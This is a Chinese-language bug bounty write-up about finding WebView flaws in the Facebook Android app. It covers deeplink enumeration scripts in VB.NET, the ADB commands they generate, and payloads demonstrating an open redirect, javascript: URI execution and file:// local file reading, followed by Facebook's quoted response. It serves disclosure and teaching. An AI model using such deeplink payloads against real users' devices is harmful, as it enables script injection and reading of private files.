如何发现Facebook安卓APP的Webview漏洞
如何发现Facebook安卓APP的Webview漏洞
这篇文章给大家介绍如何发现Facebook安卓APP的Webview漏洞,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
之前我在参与Facebook漏洞众测项目期间,发现了Facebook安卓APP应用中的两个Webview组件漏洞。利用这两个漏洞,攻击者可以构造恶意链接,通过Facebook安卓APP发送给受害者,目标受害者点击这个链接之后就会中招,致使攻击者可以在受害者手机中执行任意 Javascript 代码。
在测试结果确切之前,我曾在3个不同手机终端中试验过这两个漏洞,漏洞原因主要在于Webview组件中。
前期发现
漏洞众测中的前期踩点非常关键,这有助于你了解目标的基本情况并能帮助你关注重点。在对Facebook安卓APP的前期踩点中,我把关注点聚集到了一个东西上面,那就是其APP中的deeplink,它也可以叫移动端深度链接或是应用跳转。
deeplink可以算是超链接的另外一种类型吧,在APP中它可以把你关联到一个特定的操作行为。就比如,fb://profile/1395634905,在安卓APP中点击这个链接,它会启动Facebook的APP应用,并跳转到你的个人资料页。
因此,我决定先在APK文件中来查看一些可见的纯文本文件,于是,我用WinRAR来打开了Facebook的最新版本的安卓APP,然后在其中查找字符串 “fb://” ,一会,它就返回了一个结果文件 'assets/Bundle-fb4.js.hbc',检查之后可以发现,该文件中具备多个deeplink,其中包括:
fb://marketplace_product_details_from_for_sale_item_id
fb://adsmanager
但是,分析一番,最后也没什么可用之处。
然而,在一个为 fb://ama/ 的deeplink线索之下,我在WinRAR打开的APK文件中,找到了一个文件- 'react_native_routes.json',它可以算是一个“金矿”了,其中包含了Facebook APP操作处理的多个deeplink。
从上图的文件图示中,我们可以分析构造出一个如下有效的Facebook deeplink:
fb://ama/?entryPoint={STRING}&fb_hidesTabBar={STRING}&presentationMethod={STRING}&targetURI={STRING}
'react_native_routes.json' 这个文件有12000多行代码,所以,我需要一些编程技巧来提取出其中的有效deeplink链接。之后,我开发了两个简单的应用程序,一个用于将JSON格式转换成数据库结构,另一个用于从数据库中创建链接。为了后续需要对数据进行处理,我尽量用数据库的思路来执行。以下就是将JSON格式转换成数据库结构的程序代码:
#MovingJSONintoadatabasestructureImportsSystem.Data.SQLiteImportsSystem.IOImportsNewtonsoft.Json.LinqModuleModule1SubMain(args()AsString)ProcessFile("react_native_routes.json")EndSubPublicSubProcessFile(InputFileAsString)DimJSONText=File.ReadAllText(InputFile)IfJSONText.StartsWith("[")Then'MakevalidJSONJSONText="{'results':"&JSONText&"}"EndIfDimjsonAsJObject=JObject.Parse(JSONText)DimarrAsJArray=json.SelectToken("results")Fori=0Toarr.Count-1TryDimRouteNameAsString=arr(i).SelectToken("name")DimRoutePathAsString=arr(i).SelectToken("path")DimparamJSONAsJObject=arr(i).SelectToken("paramDefinitions")DimRouteParamateCountAsInteger=arr(i).SelectToken("paramDefinitions").CountIfRouteParamateCount<>0ThenDimoAsInteger=0DimRouteIDAsInteger=insertRoute(RouteName,RoutePath,RouteParamateCount)ForEachitemAsJPropertyInarr(i).SelectToken("paramDefinitions")o+=1DimParamName=item.NameDimParamType=item.Value("type").ToStringDimParamRequired=item.Value("required").ToStringinsertParamater(ParamName,ParamType,ParamRequired,o,RouteID)NextEndIfCatchexAsExceptionEndTryNextEndSubPublicFunctioninsertRoute(RouteNameAsString,RoutePathAsString,RouteParamaterCountAsInteger)AsIntegerDimconAsNewSQLiteConnection("DataSource=FBNativeRoutes.db")con.Open()DimsqlAsString="INSERTINTORouteTable(RouteName,RoutePath,RouteParamaterCount,RouteAddedDateTime)VALUES(@RN,@RP,@RPC,@RAD)"DimcmdAsNewSQLiteCommand(sql,con)cmd.Parameters.Add("RN",SqlDbType.VarChar).Value=RouteNamecmd.Parameters.Add("RP",SqlDbType.VarChar).Value=RoutePathcmd.Parameters.Add("RPC",SqlDbType.Int).Value=RouteParamaterCountcmd.Parameters.Add("RAD",SqlDbType.Int).Value=Date.Now.Tickscmd.ExecuteNonQuery()sql="SELECTlast_insert_rowid()"cmd=NewSQLiteCommand(sql,con)insertRoute=cmd.ExecuteScalar()con.Close()EndFunctionPublicSubinsertParamater(ParamaterNameAsString,ParamaterTypeAsString,ParamaterRequiredAsBoolean,ParamaterOrderIndexAsInteger,RouteIDAsInteger)DimPRAsInteger=0IfParamaterRequired=TrueThenPR=1ElsePR=0EndIfDimconAsNewSQLiteConnection("DataSource=FBNativeRoutes.db")con.Open()DimsqlAsString="INSERTINTOParamaterTable(ParamaterName,ParamaterType,ParamaterRequired,ParamaterOrderIndex,RoutesID)VALUES(@PN,@PT,@PR,@POI,@RID)"DimcmdAsNewSQLiteCommand(sql,con)cmd.Parameters.Add("PN",SqlDbType.VarChar).Value=ParamaterNamecmd.Parameters.Add("PT",SqlDbType.VarChar).Value=ParamaterTypecmd.Parameters.Add("PR",SqlDbType.Int).Value=ParamaterRequiredcmd.Parameters.Add("POI",SqlDbType.Int).Value=PRcmd.Parameters.Add("RID",SqlDbType.Int).Value=RouteIDcmd.ExecuteNonQuery()con.Close()EndSubEndModule
以上的VB.NET代码,可以把JSON格式文件中的每条“路径(path)”,解析为其包括名称和参数数量的路径表RouteTable中的对应条目。与实际参数类似,其中的参数可能是存储在参数表ParamterTable中,其中的属性包括参数类型、名称、索引和是否为必填字段,以及返回路径(Route)中的链接等。
下面这个程序代码,用于处理SQLlite数据库内容,并生成一个命令行列表,然后通过ADB工具在安卓APP中执行deeplink。
#BuildingADBcommandsreadyforbreakingImportsSystem.Data.SQLiteImportsSystem.IOModuleModule1SubMain(args()AsString)DimFilePathAsString=Date.Now.ToString("ddMMyyHHmm")&".txt"DimFBLinkAsString=""DimconAsNewSQLiteConnection("DataSource=FBNativeRoutes.db")con.Open()DimsqlAsString="SELECTRouteID,RouteName,RoutePathFROMRouteTable"DimcmdAsNewSQLiteCommand(sql,con)DimreaderAsSQLiteDataReader=cmd.ExecuteReader()Ifreader.HasRowsThenUsingswAsStreamWriter=NewStreamWriter(FilePath)Whilereader.ReadFBLink=BuildLink(reader("RouteID"),reader("RouteName"),reader("RoutePath"))FBLink="adbshellamstart-a""android.intent.action.VIEW""-d"""&FBLink&""""sw.WriteLine(FBLink)EndWhileEndUsingEndIfreader.Close()con.Close()EndSubPublicFunctionBuildLink(RouteIDAsInteger,RouteNameAsString,RoutePathAsString)AsStringBuildLink=$"fb:/{RoutePath}/"DimiAsInteger=0DimconAsNewSQLiteConnection("DataSource=FBNativeRoutes.db")con.Open()DimsqlAsString="SELECTParamaterName,ParamaterType,ParamaterRequiredFROMParamaterTableWHERERoutesID=@RID"DimcmdAsNewSQLiteCommand(sql,con)cmd.Parameters.Add("RID",SqlDbType.Int).Value=RouteIDDimreaderAsSQLiteDataReader=cmd.ExecuteReader()Ifreader.HasRowsThenWhilereader.Read()Ifi=0ThenBuildLink&="?"&reader("ParamaterName")&"="&getValidValue(reader("ParamaterType"))ElseBuildLink&="\&"&reader("ParamaterName")&"="&getValidValue(reader("ParamaterType"))EndIfi+=1EndWhileEndIfreader.Close()con.Close()EndFunctionPublicFunctiongetValidValue(ParamaterTypeAsString)AsStringSelectCaseParamaterTypeCase"String"Return"{STRING}"Case"Int"Return"{INT}"Case"Boolean"Return"{BOOLEAN}"CaseElseReturn"{STRING}"EndSelectEndFunctionEndModule
就以上述发现的 ama deeplink为例,以下就是最终在终端应用中解析执行的样子:
adb shell am start -a "android.intent.action.VIEW" -d "fb://ama/?entryPoint={STRING}\&fb_hidesTabBar={STRING}\&presentationMethod={STRING}\&targetURI={STRING}"
这样,我就可以通过命令行来执行类似 fb:// url 这样的deeplink了,对deeplink的检查效率也就大大提高了!
发现漏洞
第一个 - 开放重定向漏洞
现在,我们预先构建了一个364条的命令行的列表,那么,开始行动吧,来看看能从这些命令行中得到了什么样的响应。整个过程中有几个deeplink比较有意思,但最终我把关注点放到了以下这三个上面:
adb shell am start -a "android.intent.action.VIEW" -d "fb://payments_add_paypal/?url={STRING}"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl={STRING}"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ads_payments_prepay_webview/?account={STRING}\&contextID={STRING}\&paymentID={STRING}\&url={STRING}\&originRootTag={INTEGER}"
这三个deeplink都有一个共同点,那就是url参数,像上面其中的 url={STRING}。那好,既然你需要url,那我就给你一个呗,用https://google.com试试,构造的Payload如下:
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=https://google.com"
结果返回如下:
哇,成功了!这就是一个开放重定向漏洞!你要知道,Facebook 一直都很重视SSRF和开放重定向这类漏洞。最终我上报之后,获得了Facebook不多不少$500美金的奖励。
第二个 - 用户终端本地文件读取漏洞
有了第一个漏洞作铺垫之后,我就往深处想,计划发挥更深入的漏洞影响。我能不能用javscript URI 来试试呢?还有,能不能想办法读取本地文件呢?于是,我又构造了以下两个Payload:
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm('https://facebook.com/Ashley.King.UK')"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=file:///sdcard/CDAInfo.txt"
出乎意料,两个Payload都能成功执行!一个能调用到我自己的Facebook主页链接,一个能读取到客户端手机中的本地文件!
其实,之后,我还想综合利用这些漏洞,尝试去发现更深层次的bug,但无奈最后无所发现。没有源代码,我这种黑盒测试的方法也只能到此为止了。
Facebook安全团队的回应
我们正在处理你的上报漏洞,你的上报漏洞在于,可以从任何网页中调用这些服务端,但其影响有限。影响较为严重的要数那个在UI界面的本地文件读取漏洞,但前提也需要对用户终端设备的访问权限,也才能获取读取的数据信息。
然而,我们在WebView的代码审查中发现了一些与你上报漏洞相关的问题,这些问题出在WebView实际的配置和运行中。攻击者可以综合利用这些问题bug,来调用Facebook应用的某些内部服务端,并获取到一些敏感的HTML5 API接口信息。
关于如何发现Facebook安卓APP的Webview漏洞就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
推荐阅读
-
ios账户设置在哪里关闭自动续费(app store自动扣款怎么取消)
appstore自动扣款怎么取消?答。以苹果手机为例,appstore自动扣费取消后步骤是:1、在手机上先打开AppStor...
-
uni-app结合PHP实现单用户登陆
单用户登陆,即在一个应用中,同一个用户只能在线登陆一个,一个用户登陆,在其他设备上会被即时挤下线,确认后清空登陆该设备上的登陆装填...
-
APP开发从入门到精通
-
Laravel Kernel引导流程分析
-
怎么利用PHP框架语言开发手机app?
-
定制开发物流APP跟进合作曲折不断
-
基于React和Socket.io实现简单的Web聊天室
-
如何为自己的App搭建后台Api接口
-
给条活路!Facebook的这个举动让PHP深陷尴尬
-
app(store无法更新怎么办(appstore无法更新软件解决办法)